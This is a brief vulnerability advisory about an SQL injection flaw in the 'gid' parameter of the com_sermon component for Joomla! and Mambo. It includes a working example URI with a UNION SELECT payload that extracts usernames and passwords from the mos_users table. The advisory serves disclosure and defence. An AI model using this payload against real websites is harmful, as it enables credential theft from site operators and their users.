Joomla! and Mambo com_sermon Component 'gid' Parameter SQL Injection Vulnerability

Joomla! and Mambo com_sermon Component 'gid' Parameter SQL Injection Vulnerability

Attackers can use a browser to exploit this issue.

The following example URI is available:

http://www.example.com/index.php?option=com_sermon&gid=-9999999%2F%2A%2A%2Funion%2F%2A%2A%2Fselect/**/concat(username,0x3a,password),0,0,username,password%2C0%2C0%2C0/**/from/**/mos_users/*